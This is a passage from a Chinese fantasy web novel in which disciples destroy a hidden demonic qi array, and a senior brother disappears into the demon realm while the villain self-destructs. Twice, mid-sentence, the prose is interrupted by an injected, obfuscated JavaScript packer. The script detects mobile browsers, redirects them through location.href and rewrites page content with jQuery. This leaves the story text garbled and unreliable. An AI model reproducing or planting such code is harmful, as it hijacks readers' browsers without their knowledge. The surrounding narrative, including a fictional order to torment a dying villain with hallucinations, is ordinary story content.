所以先前昭昭和慕师兄不在,便是因为到了这处么。 暗忖着,白月书很快明白了什么:“那么之所以此图案是在你的通讯法器靠近时才发光,便是因为昭昭特意在图案上留下了你的灵力气息。” “是以靠你灵力运转的通讯法器一靠近,图案便亮起。” 云珈闻言恍然:“原来如此。” “嗯。” 白月书继续解释:“此番操作需要极其精细的灵力控制能力,元婴以下的修士很难做到。” 第一次知道这样的操作,再次看向图案的云珈眼中多了惊叹:“那昭昭真是太厉害了。” 将云珈对祝昭昭的夸奖听在耳边,白月书唇角不自觉微弯,原本淡淡的神情也柔和下来:“是,昭昭她一直很厉害。” “不说这个了。” 游走于暗器中的间隙扫了眼山洞的方向,她道:“穿好法衣,保持传讯法器运转,进密室内探查一番。” “切记小心。” 重重‘嗯’了一声,云珈举着萤石走进密室。 依旧是与密室外无甚差别的空荡,且因为长久不通风,密室内的空气要比山洞沉闷得多。 所幸比起山洞,密室的面积要小得多。于是靠着萤石的光亮,云珈小心翼翼却也没费什么时间地走完了一圈。 也确实有了不小的发现。 慢慢在一处停下脚步,云珈缓缓出声:“月书师姐。” 敏锐地从她语气里听出慎重,白月书亦严肃起来:“何事。” “这密室里有一个敛灵印。”云珈盯着那熟悉的符印,“而且这个敛灵印还不是普通的那种,而是高阶敛灵印。” “吸纳整个洛水镇的灵力都绰绰有余。” 白月书眸色一冷。 如果说听见云珈描述的山洞符文模样时,她还有些心存侥幸。 那么在听到敛灵印存在的这一刻,那些侥幸便彻底化作不详的阴云,将她一颗心打入地底。 但她很快调整好心态:“除了敛灵印外,密室内还有什么其他东西么。” “有。” 并未发现敛灵印下方仍有东西,云珈转悠到密室中央:“密室中间还有五个和山洞外一样的符文。” “布置得是否和山洞外一样。” “一样。” 听到这,白月书终于长舒一口气。 不太明白她的意思,云珈疑惑:“怎么了月书师姐。” 她本以为这声长叹,是情况没什么大碍的意思。 然而白月书一口气吁完,脱口的却是:“这个山洞里藏着的,是与魔族有关的东西。” 云珈先是一愣。 反应过来后,她大惊:“魔族??” “嗯。” 云珈的惊讶完全在白月书的预料之中:“黑色符文是置魔符,而从你说的,密室内有高阶敛灵印,山洞外与密室中则是两处置魔符阵来看,整个洛水镇,就是魔族吸纳灵力再转换为魔气的场所。” “密室则是魔气汇聚之地。” 话到最后,她语气已然异常严肃:“此地的情况,比我预估得更加危险。” 云珈愣了很久。 直到传讯法器的另一边,铿锵声再响,她才猛回过神:“可是我并未在密室内察觉到魔气啊。” 冷静下来的她四处张望:“密室里除了闷点,和外面一点区别都没有。如果密室是魔气汇聚之地,那为什么我感觉不到?” “因为若是不出所料,” 白月书脸色微沉:“所有魔气都被压缩凝固封在其中一处置魔符阵中。” “只是不知道两处置魔符阵,哪处才是藏有魔气的那处。” “竟是这样的么?” 目光顺着白月书的话落在脚下的符阵,云珈若有所思:“我总觉得被压缩的魔气,应该藏在密室里的这个符阵。” “何以见得。” 虽然本身的观点和云珈一致,但毕竟现在身处山洞的不是自己,白月书必须保证她的判断有足够的证据支撑:“如果那位神狡猾,他也许会反其道行之。” 很清楚白月书反问自己的原因,云珈‘嗯’了一声:“因为敛灵印离密室最近。” “如果想最快且最大限度地把灵力转化成魔气并将之吸纳储藏,那密室内一定要比密室外方便得多。” “而且最重要的……” 云珈喃响着摸向储物袋:“我总觉得从进来密室以后,那个黑色法器就一直怪怪的。” 白月书拧眉:“怪怪的?” “嗯。” 云珈盯着躺在掌心里,微微震颤的黑色法器:“它像是有灵智一样,想靠近置魔符阵。” 白月书没作声。 方才情况紧急,是以将祝昭昭的东西转交给云珈的时候,她无暇解释太多,后面专注对付暗器,便也彻底将此事忘在脑后。 但经过云珈这一提,她也乍然想了起来—— 将那枚黑色法器抓在手里时,她确实感觉那法器相当诡异。 她察觉不出那法器的灵息。 如果不是祝昭昭在信中重点交代了此物,她甚至会以为那东西只是不小心混进去的普通物什。 暗器尖啸着擦过眼尾,白月书回神:“我现在便进去同你一起。” 环视一圈试图确认隐藏的暗器还剩多少,她道:“洛水镇运转数十载,来此的修士络绎不绝,不知有多少灵力被吸纳置换。” “置魔符阵里的魔气必定已经累积到了非常可怖的程度。” 早已在刚才和暗器的缠斗中摸清规律,急于离开的白月书不再被动等待,而是主动将之提前触发:“这些魔气一旦爆发,不仅整个洛水镇会被侵蚀,就连附近方圆十里内 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捏紧掌心的黑色法器,感受随之传来的坚硬触感,云珈死死盯着置魔符阵的中心:“这鬼阵法被法器激活的时候,我就知道要怎么解决它了。” 她说着,双手握紧黑色法器,将之对准置魔符阵中心高高举起:“我会让它……” “现在就毁在我手上!” 黑色法器化作利刃,准确无比地刺中阵法中心。 下一秒,以黑色法器为中心,刺目白光撕裂混沌黑暗,如势不可挡的浪潮般,淹没周遭翻滚的黑气。 * 飞溅的血离自己只有一线之隔时,祝昭昭眼看着它突然蒸发消失。 正因此愣神的当口,对面重伤的莫沉云支撑不住松手。她还来不及反应,整个人已经朝地上跌落。 紧跟着被一阵灵力托起。 “小心些。” 耳边是慕行秋平静的话音,祝昭昭先看看自己离地面最多不超过十五厘米的脚,再看看伸到自己跟前的修长手,心情顿时五味杂陈。 首先,你为什么来得这么快。 其次,这点距离真的有必要扶吗? 祝昭昭:这是在干什么·jpg 见慕行秋一副不扶自己下来不罢休的架势,祝昭昭沉默片刻,选择拉住他衣服往下跳。 猝不及防被拉地身形微动,慕行秋先是错愕,再之后,眼底泛起浅浅笑意。 不过这些祝昭昭都没有注意到。 垂眸盯着跌坐在地的莫沉云,她语气轻快:“你的姿态很好。” “不趁现在给我磕个头么?” 闻言冷笑一声,莫沉云擦去嘴角血沫:“我便是现在给你磕头又如何?” “不过是让你这将死之人提早得意几分。” 敏感地从这话里嗅出几分异常,慕行秋神色一暗,手中当即亮起灵力,准备搜莫沉云神魂。 祝昭昭反应却比他更快。 静静盯着莫沉云半晌,她突然微笑起来。 “将死之人?” “你能不能告诉我,”说着脚步微动,祝昭昭试图走向莫沉云,“你为什么那么笃定我们会死在洛水?” 然而朝元剑蓦地横在身前,余光瞄见慕行秋站得笔直的身影,她最后撇撇嘴停在原地。 话却继续:“是因为你觉得你藏在洛水的东西很安全?” 对上莫沉云乍然锋利的目光,祝昭昭唇角笑意变得更深。 她没再继续这个话题:“你知道我们现在在什么地方吗?” 这问题问得奇怪,不止莫沉云心觉莫名,就连慕行秋都挑眉扫了她一眼。 但没来由的,他忽然想起莫沉云刚出现时的那句‘你们还敢来此。’ 还敢来此…… 吗? 隐约意识到什么,眼尾余光扫了身旁少女一眼,慕行秋继续安静守在她身旁。 另一边,祝昭昭这会儿还算心情不错,所以全当没看见他两人各异的神色:“我告诉你好不好。” 她话音落下的刹那,上道的202也很配合地解开了禁制。 眼前的景象开始扭曲剥落,直到一切彻底恢复原状的那刻,莫沉云浑身巨震。 这里哪是他费尽心思千藏万藏的山洞。 这分明只是洛水镇内一个不知何处的空地! 他心底大惊,嘴上却不肯服输半点:“不过区区障眼法。” 像是听见什么有意思的话,祝昭昭意味深长地笑起来:“是呢,不过区区障眼法。” “不过只要你被困在障眼法里,我们不就可以抓住机会做很多事了么。” “你说呢?” 地面忽然震颤起来。 下一秒,剧烈的爆炸声从远处传来,威势之大,甚至让慕行秋都第一时间开了隔音结界。 莫沉云却早已无心遮掩。 因为几乎是在爆炸声响起的刹那就意识到了什么,他猛地循声扭头,脸上神色是迄今为止都不曾出现的错愕与恐惧。 看着眼前人近乎失态的反应,先前的不快被一扫而空,祝昭昭心情大好。 99. “你们怎么能联络外界?!” “是我们前些时日探查的那处。” 望着远处那黑气弥漫的天空,慕行秋率先开口:“里面竟藏着如此大量的魔气么。” “是呢。” 顺着他的目光看过去,祝昭昭语气轻快:“如果任由这些魔气藏匿下去,后果真是不堪设想。” “只是不知道是谁发现那地方不对又把它毁掉,真是太厉害了。” 不知道是谁发现的? 幽深的目光悄然落在一旁兀自说得高兴的少女身上,慕行秋眼底极快地掠过一丝探究。 这会儿正沉浸在魔族通道顺利被毁的爽快中,祝昭昭并未察觉到慕行秋的视线。 望着爆炸那处哼了会儿小曲儿,她忽然似有所察:“诶,有人来了。” 随着她话音落下,踏着长剑的两道身影很快由远至近—— “昭昭!” 最先出声的是长剑后的云珈,甚至不等长剑停稳便匆匆跳下,她便快步朝祝昭昭跑来:“昭昭,我们回来了!” 原本一尘不染的白色法衣此刻已经灰一块黑一块,望着云珈亢奋的神情和眼底浅浅的黑紫,祝昭昭什么都没说。 慕行秋亦是。 祝昭昭伸手慕行秋放丹瓶,两人在此刻达成了默契的配合。赶在云珈扑在自己身上前,祝昭昭做了个‘停’的手势:“来,先把这化厄丹吃了。” “化厄丹吗?!” 熊抱祝昭昭求安慰的兴致被这句话吓得消了大半,云珈看看她掌心里的化厄丹又看看慕行秋:“慕师兄……” 朝云珈微一颔首,慕行秋笑意柔和:“丹药本就为人所用。” “而魔气一物之危险,众人皆知。你们从那处而来,必定会受影响,吃一颗化解体内魔气再正常不过。” 说着扭头向白月书,他轻抬下巴:“月书,你也吃一颗。” 白月书并不扭捏,收起轻缨便大步朝三人这边走来,从慕行秋手中接过化厄丹服下。 眼看吃下化厄丹的两人脸色都肉眼可见得变好,担心魔气清除不彻底会节外生枝的祝昭昭让202再给两人检查了一遍,确认没问题后才彻底放下心来。 也有了问两人山洞那边情况如何的心思:“你们在那边干了什么,怎么会有那么多魔气。” 此话一出,不止是云珈,就连白月书都停下整理衣袍的动作,怔怔盯着她。 “昭昭你在说什么啊?” 瞪大眼,云珈指着自己:“不是你让我和月书师姐去那个山洞探查情况的吗?” 她扯扯法衣的兜帽:“你法器什么的都交给我们了,你忘了?” 脸旁是慕行秋存在感极强的视线,对面是云珈和白月书‘昭昭是不是吃错药了’的眼神,祝昭昭汗流浃背。 怎么说,就算真是她让毁的山洞,这会儿也不能承认不是。 不然一个小金丹知道得那么多,难道不可疑吗? 祝昭昭:不要在意这些细节·jpg 很是默了默,祝昭昭最后搬出她的真·万金油·不过这次的确是实话·说辞:“……你们都知道我是自己过来的对不对。” 三人沉默以对。 祝昭昭装没事人:“我之所以是自己过来的,就是因为是我师父交代了我要找那个地方。” “他即没告诉我那地方有什么东西,也没告诉我要去那干什么,只是给了我一张地图,让我找到他说的地点,然后把那地方毁了。” 她指指云珈身上法衣:“就是我给你们那些。” “那、那些教我们怎么用法器的字条呢?” 云珈磕磕巴巴,总算给了点回应:“那些字条总不是宗……你师父写的了吧?” “是我写的。”这当然难不倒祝昭昭。 她面色沉痛:“他看着我写的。” 逻辑在此刻形成了完美的闭环,白月书和云珈都纷纷露出一种集结了恍然大悟、同情和欲言又止的复杂表情:“竟是如此……” “是的没错。” 祝昭昭赶紧点头,乘胜追击:“正是因为我师父担心跟我说实话会坏事,所以他才这么遮遮掩掩的。” “毕竟藏有魔气这么大的事,我又刚入门,怕直接跟我说会出岔子很正常,对不对。” 被这番‘谨慎论’唬得一愣一愣,白月书和云珈呆呆点头。 祝昭昭心情复杂,心底却还是悄悄松了口气:“所以我是真的刚刚才知道那边藏着那么大量的魔气,我真的很惊讶。” 边说边视线乱扫,瞧见最该听到这些假话的人这会儿却没什么反应,她于是扬声点名:“慕师兄也觉得很惊讶,对不对。” 正在控制地上重伤的莫沉云,慕行秋闻言扭头。 他朝祝昭昭微笑:“师妹说得是。” 承认得这么快? 不知为何总觉得慕行秋的笑容有些意味深长,祝昭昭心里下意识犯起嘀咕。 但眼下有其他更重要的事,所以她没想太多。 而是重新将注意力放在云珈和白月书,尤其是云珈身上:“所以你们赶来前,山洞那边什么情况?” “挺好的。” 顺着祝昭昭的话望向山洞方向,云珈答:“宗……你师父给的法器确实好用,那个黑色法器刺进置魔符阵后还会自己吸收魔气。” “自己吸收魔气?”祝昭昭拧眉,“你们把那个法器留在山洞了?” “并未。” 这次说话的是白月书:“我们把它带过来了。” 想起刚才那几乎遮天蔽日的紫气,祝昭昭更不解:“那是魔气没有被吸收干净?” 白月书还是摇头。 祝昭昭这回是真不明白了:“那……” “哎呀!” 实在看不下去的云珈插话:“剩下的那些是被法器自行排除在外的东西啦!” 她嗔怪的眼神在两人间流转:“说话就好好说嘛,干嘛遮遮掩掩的。” 两人都被说得有些不好意思,望了眼已经恢复常色的天空,祝昭昭清清嗓子继续问:“法器既然带回来了,可以给我看看么。” 白月书也没多话,掌心翻转间,黑色法器便躺在其间。 祝昭昭见状下意识想伸手去拿,却被她合拢手指制止:“此物吸收了大量魔气,昭昭你看看便好,不必摸它。” 本质上来说摸不摸都不妨碍她确认法器状况,祝昭昭听话地点了点头,然后弯腰背手,专注地盯了法器半晌。 片刻后她直起身:“法器是坏了吗?” “嗯。” 只当祝昭昭已经从掌筠那得知,如何查看黑色法器好坏与否,白月书并未起疑:“将魔气尽数吸纳后,它便自毁了。” 心道掌筠本人虽然不靠谱,但给的东西倒还是比较方便好用。祝昭昭‘哦’了声:“那到时候把这东西直接交回宗内,应该就没问题了。” “你们已经知会宗里了吗?” “嗯。” 试图帮慕行秋一起控制莫沉云但被婉拒,白月书站在他旁边:“来此之前我们便已经传讯回宗。兹事体大,宗内说会尽快派人过来。” 点点头,祝昭昭刚想说点什么,地上的莫沉云却比她更快。 使劲挣扎了一下,他高声:“不可能!” “洛水幻境天然屏蔽一切传讯法器,你们怎么可能与外界联络,况且……!” 几乎是立刻,祝昭昭敏感地察觉到什么:“况且什么?” 话到一半硬生生闭上嘴,莫沉云最后咬牙别开脸。 深知这会儿估计也套不出什么有用的话,祝昭昭索性不搭理他。 但另一道视线,她却不得不搭理。 被莫沉云身旁的慕行秋看得额角冒汗,祝昭昭眼神游移半天,还是选择认输:“我其实还有另外一个二长老给的传讯法器。” “后面和那些法器一起交给月书师姐了……” 与祝昭昭越说越小的声音相对的,慕行秋脸上笑意越来越深。 直到最后,他盯着祝昭昭拉长语调,一字一句:“原来如此。” 原来如此个头啊! 最讨厌阴阳怪气的人了! 祝昭昭:指指点点·jpg 虽然听不懂祝昭昭和慕行秋对话,但也察觉到了气氛的不对。 于是白月书出来打圆场:“总之宗内派的人很快便会赶到,这洛水镇的主人也被擒获。稍后我们便可将他一并带回去。” 望着莫沉云的眸光变得锋锐,白月书语气里多了严肃之意:“毕竟守魔界多年来从未出过异常,如今却有魔气出现在此……” 话没再继续,所有人心照不宣地沉默。 直到云珈出声:“反正再不对劲,到时候把这家伙拎回掌刑司一审就都知道了。只要二长老出手,这家伙什么都会招的。” 祝昭昭本以为这只是句很普通的威胁用语。 然而等云珈说完,她眼睁睁看着白月书和慕行秋快速交换视线后,望着莫沉云的目光竟然多了点同情。 祝昭昭:…… 咦惹。 不过另一边,莫沉云显然根本没把这话当回事。 冷笑一声,他抬眼:“想带我走?” “你们是不是忘了,我洛水镇是靠什么,让这修行界众人趋之若鹜,前仆后继而来?” 奇异啸声猛地自他喉间响起。 四周树林瞬息无风自动,随着连成一片的枝叶‘沙沙’声充斥在空气中,所有人都察觉到周身灵力开始变化。 却仅止于此。 倒是一道急切震惊的男声突然回荡在空气中—— “诶,这东西怎么一下动起来了?!” 不等在场众人循声查看,下一秒,已经有人影落在空地上。 再接着,便是同样的男声不解继续:“这东西到底怎么回事啊?” 是钟安林。 仿佛捧在手里的东西是什么烫手山芋,他满脸着急地求援:“赶紧来个人看看这东西怎么回事,不知道为什么一下就不受我控制了。” 众人于是顺着他的话往他手上看去—— 莫沉云的声音是最大的。 不可置信地怒睁双眼,他大声诘问:“怎么可能,怎么可能?!” “你们怎么可能拿到幻魇?!” 低头看了眼正被自己递给白月书的,缩小的月亮法器,钟安林边恍然大悟地:“哦,这小月亮叫幻魇啊。” 盯着钟安林的目光凶狠,莫沉云说着,忽然注意到他过于冷静清明的神色:“不对……你们…” “你们是如何脱离洛水控制的?!” 终于意识到最重要的问题,他环视一圈,近乎狂乱地喃喃:“神祀之时我明明见你们已经离被彻底同化仅有一步之遥,怎么会……” “万事万物行进,皆有不可预料时,” 有女声倏地截了他话头—— “一念之差,事物发展便千差万别。结果即已在你面前,你又何必再问来问去?” 语毕落在白月书身旁,贺稚雪淡声叮嘱她:“此物虽然已经被下了禁制,但接触时仍需专注守神,否则会在不知不觉间被它影响。” 白月书的回答,是直接在幻魇上再套一层禁制,然后单独扔进特制的容器中。 最快赶到的是贺稚雪,祝昭昭扫了眼跟在她后面落下的其他人,随口招呼:“大家都来了啊。” “是啊,那边的事一结束我们就赶紧过来了。” 烫手山芋被解决,钟安林又重回轻松模样:“白师姐传讯给贺师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280582|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐的时候,我们没想到那东西还能用,都吓了一跳呢。” “是么,” 祝昭昭心不在焉地边答边四处张望:“那看你们来得这么快,处理幻魇和洛水镇民的时候应该不算很难?” 挠了挠头,钟安林脸上表情纠结:“怎么说,确实不算很难。” “因为洛水镇的人本来就靠那个叫幻魇的法器控制,所以只要解决了幻魇,洛水镇的人醒来后自然不会再攻击我们。” 他‘嘶’了一声:“而实话实说,幻魇身为高阶法器,正常情况下破解需要花大功夫。” “但好在慕师兄当时给了我们三道剑意,加上你让白师姐告诉我们幻魇的破——” 闻言瞬间怒目圆睁,眼尾余光瞥见慕行秋忽然朝这边微侧的脸,祝昭昭以生平最快的速度跳起来捂钟安林的嘴。 别再给我找麻烦了! 祝昭昭:熊猫吸氧·jpg 咬牙切齿捂到一半突然感觉手底下动静不对,祝昭昭定睛一看,这才发现自己情急之下捂得太结实,钟安林这会儿已经憋得开始翻白眼。 见状触电一样松开手,她赶紧给钟安林拍背顺气。 空气里顿时只剩又重又响的拍击声。 众人听在耳里,表面虽不动声色,实则下意识往外平移脚步的动作,早已将一切暴露无疑。 不过正主好歹是被拍醒了。 悠悠转醒的钟安林眼神涣散:“我这是怎么……” 祝昭昭赶紧把最想问的事问出来转移话题:“陈青师兄呢,我怎么找不到他?” “陈青在那边。” 出声的是秦之衡,刚和白月书说完悄悄话的他指着不远处树底:“他如今情况不太好,正在休息。” “情况不太好?” 心说好歹是活下来了,望着树底下只能瞧见的半边脸上,神情一片安详的陈青,祝昭昭问:“他是受了什么伤吗?” 原本已经安静有一会儿的贺稚雪突然清了清嗓子。 秦之衡脸上也一瞬闪过欲言又止:“他的确是受了点伤,不过……” “不过什么?” 没搞懂他两人的奇怪态度,祝昭昭不解:“你们为什么支支吾吾的?陈青师兄到底怎么了?” 心底有了猜疑,她越看越觉得陈青那副安详的表情不对劲。 陈青是会摆出这种表情的人吗? 脑子里疯狂闪过无数可能性,祝昭昭脸色微变:“难道他被幻魇影响,如今陷在幻境里无法脱身?” 就知道陈青这死劫没那么简单,祝昭昭朝他走过去的同时,把慕行秋也一并叫上:“慕师兄,你快来看看陈青师兄怎么了。” 示意白月书看好莫沉云,慕行秋依言照做。 他甚至还在半途,就拿出了破解精神束缚用的高阶醒神法器。 然而就在严肃气氛一触即发的时候,有女声忽然响起—— “他没事!” 被吓得齐齐打了个激灵,所有人循声而望,便见贺稚雪站在原地,脸上神情复杂。 对上汇集的视线,她罕见地红着脸,憋了半天才终于憋出一句声如蚊蚋的:“他真没事……” 祝昭昭:……? 贺师姐……在脸红? 她的眼睛真的没问题吗? 最后还是清醒过来的钟安林倾情答疑解惑:“你们放心吧,陈青真没事。” “他就是在贺师妹被幻魇攻击的时候替贺师妹挡了一下。” 手上比划着,钟安林做了个拳头打在眼睛上的动作:“然后被幻魇引出只有他觉得藏得很好的心思,抱住贺师妹真情大告白。” “最后被贺师妹一拳揍眼睛上了。” 只有他觉得藏得很好…… 此话一出,除了参与破坏幻魇的人,其余人都沉默了。 他们难得默契地,用种一言难尽的目光聚焦陈青。 脑海中再次浮现出当时的画面,钟安林摇头晃脑:“嗯,声音可大了。” 祝昭昭摸下巴:“陈青师兄告白的声音?” 钟安林竖起食指摇:“陈青师兄昏迷倒地的声音。” 祝昭昭:…… 好时尚的发展,看不懂。 交流结束,树底下的陈青也正好闷哼着扭动起头。望着他终于露出来的,几乎可以cos熊猫的黑青左眼,祝昭昭心情复杂:“总之……陈青师兄没事就好。” 她望向白月书:“月书师姐,宗里的人大约什么时候到?” “约莫再两个时辰。” 白月书冷冷扫了眼地上的莫沉云:“兹事体大,众长老对此都很重视。” 说着略微思忖后,她掌心灵光一闪,很快多了道束缚法器:“再给他加个囚理链罢,也方便到时审问结束后直接关进囚魔塔。” 囚理链是掌刑司独有的束缚法器,专为罪大恶极的高阶修士所铸。只要套上,非剑宗长老或渡劫期修士绝无可能挣开。 换句话说,莫沉云一旦被囚理链锁住,就等同于彻底失去逃脱的可能。 有意识地在己方实力稍弱的前提下,尽可能控制高阶修士,这本是件值得夸赞的事。 然而察觉到链声响起的刹那,祝昭昭心下便猛一个咯噔。 暗道一声不好,她扬声:“慕师兄!” 扭头就发现慕行秋已经消失在原地,她转而拼命招手,示意白月书过来自己这边:“那边危险,月书师姐你快过来!” 却还是迟了一步。 盯着近在咫尺的囚理链,莫沉云冷笑一声,眼底涌动起穷途末路的疯狂之意。 “想让我乖乖跟你们回剑宗?” 他咬牙暴喝:“做梦!” 下一秒,紫黑色的魔气倏地自他体内炸开。 100. 不必担心,我会回来。 计划失败就自爆? 这个习惯很不好!! 不耐烦地收回盯着莫沉云的目光,祝昭昭扭朝贺稚雪方向高声:“贺师姐,抓住秦师兄!” 贺稚雪闻言,几乎是立刻便伸手扯住身旁人影:“之衡,不要冲动!” 话落眼神示意钟安林过来,贺稚雪继续:“那处如今危险,我们过去也是添乱。就当是为了月书,之衡你此刻也要冷静下来。” “不要再为月书和慕师兄添麻烦了。” 眼底焦急在贺稚雪最后一句话出口后一点点被压下,冷静下来的秦之衡最终还是定在原地。 只是袖底下细细颤抖的手,无论如何都止不住。 另一边,早在祝昭昭出声时轻缨便闪现在手,白月书足尖一点就要跃开。 然而比她动作更快的,是瞬间锁住她半边手脚的魔气。 对上朝自己望来的冷凝目光,莫沉云狰狞一笑:“小丫头,很惊讶?” 伸手握上那两道魔气,他语气微讽:“想把人逼上死路,就该有被人抓着同归于尽的觉悟。再不济,也该攥紧保命底牌,防人拼死一搏。既然你一样都没做到……” “那就和我一起去死!” 本就疯狂的紫黑魔气一瞬愈发暴烈,莫沉云扯住白月书狠狠往自己方向一拉,化作锋锐模样的魔气便直指她心脉。 “月书!” 苦苦压抑的情绪再按捺不住,瞬间挣开按住自己的钟安林与贺稚雪,秦之衡双目赤红,疯了般冲向白月书。 身形却忽然被人定住。 下一秒,一道身影鬼魅般出现在白月书身旁。 朝元剑光凌冽,准确无比地斩断缠在白月书手脚上的魔气,慕行秋收剑的同时,指尖也轻点在她肩膀。 仿佛被一只无形的手大力后拽,白月书整个人瞬间倒掠出去,继而生了眼般稳稳落进已经身在魔气边缘的秦之衡怀中。 所有人都被这突如其来的变化震惊,白月书更是不顾秦之衡阻拦,挣扎着就要起来:“师兄!” 然而接下来,所有人脑海里都响起的淡淡声音。 “勿动。” 本已经动起来的众人,最后硬是稳住了脚跟。 祝昭昭脑海里当然也响起了这句话。 但这却并不是她听话的原因。 静静盯着魔气中心的两道身影片刻,祝昭昭开口:“202。” “202在。” 实际上同样在密切关注慕行秋和莫沉云那边,202几乎是立刻响应了祝昭昭:“有什么需要我做的吗,主人?” 它过于正经的回答反而让祝昭昭不太习惯:“你那是什么反应?” “哎呦,我太紧张了嘛!” 202一秒破功:“毕竟现在剧情进展到了最关键的时候不是?” 它伸出机械手摸下巴:“大反派在这里失踪,再出现的时候就从剑宗大师兄成了毁灭位面的大反派了。” “这不该重点关注,紧张万分吗?” 实在按捺不住地白它一眼,祝昭昭略微沉吟后开口:“莫沉云现在的目的是自爆,那么不出意外的话,慕行秋应该有手段自保。但……” 202抢答:“但原剧情大反派在这里是失踪。” 它绕着祝昭昭转圈:“所以莫沉云有非常大的,临时改主意的风险。” 眼神警告它别乱晃,祝昭昭言简意赅:“你有没有办法再用幻觉控制莫沉云。” “这个的话,很有难度啊。” 202‘嘶’了一声:“毕竟他现在精神高度集中,我确实可以尝试再让他陷入幻觉,但不保证他会不会发现。” “你试试。” 再度望一眼魔气中心,祝昭昭抿了抿唇:“小心一点,必要时候我会转移他注意力。” 见祝昭昭态度坚决,202于是爽快答应:“好。” 随着额上菱形亮起,它很快对着面前投射出的荧幕开始操作。 祝昭昭亦重新将注意力放回魔气中心。 眼尾余光从远处安静到有些反常的少女身上收回,慕行秋终于不紧不慢地将目光落在暴烈魔气中心的人身上。 “以你的心计手段,你本可以独善其身。可你为了救那个小丫头,竟然主动送上门来。” 被那轻慢的眼神望着也不恼,莫沉云盯着慕行秋笑得古怪:“剑宗那帮人迂腐古板,眼不容沙,却有胸怀将你教得光明磊落……” “还真是有意思。” 眼底骤然闪过一丝阴鸷,本该被魔气压制得动弹不得的慕行秋缓慢却稳定地抬起剑尖,对准莫沉云胸口。 衣料被挑破,胸口顺着剑尖流下血丝,莫沉云脸上嘲讽之意却更深。 “你杀不了我。” 猛地喷出一口黑血,他轻蔑挑眉:“不过既然如今在此的是你,那我便改改主意罢。” “我可以不要那帮坏我好事的剑宗废物为洛水陪葬,我要你……” “去你该去的地方!!” 最后一句话被乍然响起的铿锵声淹没,众人循声而望,便见祝昭昭弯腰,正捡起掉落在地的本命剑灵华。 “抱歉。” 她垂下头,低落的声音似愧疚,顺着肩膀滑落的发丝却将她没什么表情的脸掩盖得刚好。 没人有空顾及这小小插曲,也没人再追究莫沉云最后一句话到底说的什么。 因为紧随而来的,是漫天魔气全部以莫沉云为中心,开始疯了一般地内收凝聚成漩涡。 钟安林倒抽口凉气:“他是要干什么?!” “莫不是想吸纳魔气于己身,增加自爆威力?”上官修不太确定,“不若我们催动防护法器掷向慕行秋,兴许还能替他留条活路。” “什么留活路!” 白月书难得动了真火:“此贼人根本不是想增加自爆威力,他是想凝聚压制魔气到极限,以身短暂小范围开启来去魔界的通道!” 空气瞬间落针可闻。 “莫沉云这家伙果然要以身开空间通道了!” 202急得龇牙咧嘴:“怎么办啊主人,他动作太快了,我来不及让他陷入幻觉!” 比起烦躁焦急的202,早有预感的祝昭昭反应则要平静得多。 面无表情地紧盯莫沉云方向片刻,她足尖一捻,毫无征兆地动起来—— 下一秒,紧紧束缚的感觉从脚腕方向传来,熟悉的灵息则让祝昭昭整个人不受控制地一顿。 看都不看脚下一眼,她一双眼径直望向莫沉云身旁人影。 只当没看见少女眼中有如实质的怒火,慕行秋唇角弯起抹弧度,脸上神色是一如往常的淡然平静。 而他微微颔首的瞬间,祝昭昭听见脑海中传来他波澜不惊的叮嘱—— “洛水结界虽消失,但恐仍有残余幻境拦路,你们离开时千万小心。” “还有,不要担心我。” “我会回来。” 下一秒,空间通道成,慕行秋的身影就此消失。 身后众人惊呼声真切,耳边202尖叫盘旋,充耳不闻的祝昭昭只是死死盯着尚未关闭的通道,牙关亦不自觉地恨恨咬紧。 幻境拦路,千万小心? 不要担心,还会回来? 他慕行秋是真以为人不知道魔界与修真界根本不互通,一旦误入,轻易根本出不来? 把她当傻子是吗? 而且谁会担心一个手刃过自己的人啊? 她真正担心的,从来从来都只有任务好吗?! 思忖着,只觉得束缚住脚腕的灵力仿佛在不知不觉间悄然缠绕到了咽喉,让自己几近窒息,祝昭昭按捺住眼底翻涌起的烦躁。 慕行秋的最后一丝气息消失的刹那,她挥起灵华,直接斩断束缚脚腕的灵力。 又在抬剑的间隙划破另一手指尖,状似无意地弹手,‘恰好’让血珠落在双眼的眼皮上。 快速眨动数下眼睛,任由血珠渗进眼中。片刻的不适应感过去后,祝昭昭几个闪身便来到莫沉云身旁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280583|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她一套动作太过行云流水,根本来不及阻拦的白月书脸上,露出了更甚于见到慕行秋陷入危险时的恐惧表情:“昭昭!你回来!” 明明已经听见那凄厉到甚至有些破音的话语,祝昭昭最后却没有回头,只是静静站在原地。 她垂眸看着地上濒死的人。 莫沉云亦回望着她。 哼笑一声呛出血沫,他轻慢开口:“看我做什么,再看你的好师兄也不会回来了。” 忽略‘好师兄’三个字,祝昭昭平静点头:“嗯,我知道。” 眉头不自觉皱起,莫沉云并不满意这样的回答。 于是他挑衅般地:“也许他会死在魔界罢,又或许根本等不到落入魔界,就会在空间乱流里被撕碎……” 咧嘴露出布满血丝的牙,他一字一句:“尸、骨、无、存。” 祝昭昭没再出声。 她换了个地方,在精神空间里开口:“202。” 祝昭昭神情太过平静,让202本能地有些害怕:“202在。” “他还有二十分钟就会死。” 她语气里满是无所谓,仿佛只是在随口说着什么无意义的话:“在此之前,大脑过载也好,精神崩溃也罢,让他在他最恐惧的幻觉里……” “无限循环。” 